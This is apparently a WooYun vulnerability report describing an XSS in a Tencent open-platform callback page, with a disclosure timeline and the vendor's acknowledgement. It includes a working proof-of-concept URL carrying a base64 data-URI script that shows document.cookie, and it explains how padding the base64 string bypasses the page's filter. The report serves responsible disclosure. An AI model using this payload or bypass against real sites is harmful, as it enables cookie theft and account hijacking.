漏洞概要
关注数(24)
关注此漏洞
漏洞标题:
腾讯某接口示例XSS跨站可打cookies
>
漏洞详情
披露状态:
2015-12-31: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开
简要描述:
详细说明:
firefox测试最终效果,提示授权失败,然后等待3秒跳转,弹出cookie:
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1
框架调用:http://qz6666.com/2.html

漏洞页面源码:
由上不难看出,会先判断returnto,appkey,hashpos这3个参数,前两个不为空,后一个不为-1,简单构造即可满足条件。至于解析授权信息这里,开始测试的时候随便填值就过了,重点是openjs.js没看懂。。。
url的参数过滤,对data:;base64,这种形式也只判断了固定的字符串,base64字符串开头随便加些字符并不影响结果,这里转换一下即可:
漏洞证明:
firefox测试最终效果,提示授权失败,然后等待3秒跳转,弹出cookie:
http://open.t.qq.com/open-js/doc/snippet/code/callback.html?return_to=data:text/html;base64,MTExMTExMTE8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=&appkey=x#1
框架调用:http://qz6666.com/2.html

修复方案:
版权声明:转载请注明来源 thx@乌云
>
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2015-12-31 15:36
厂商回复:
非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
最新状态:
暂无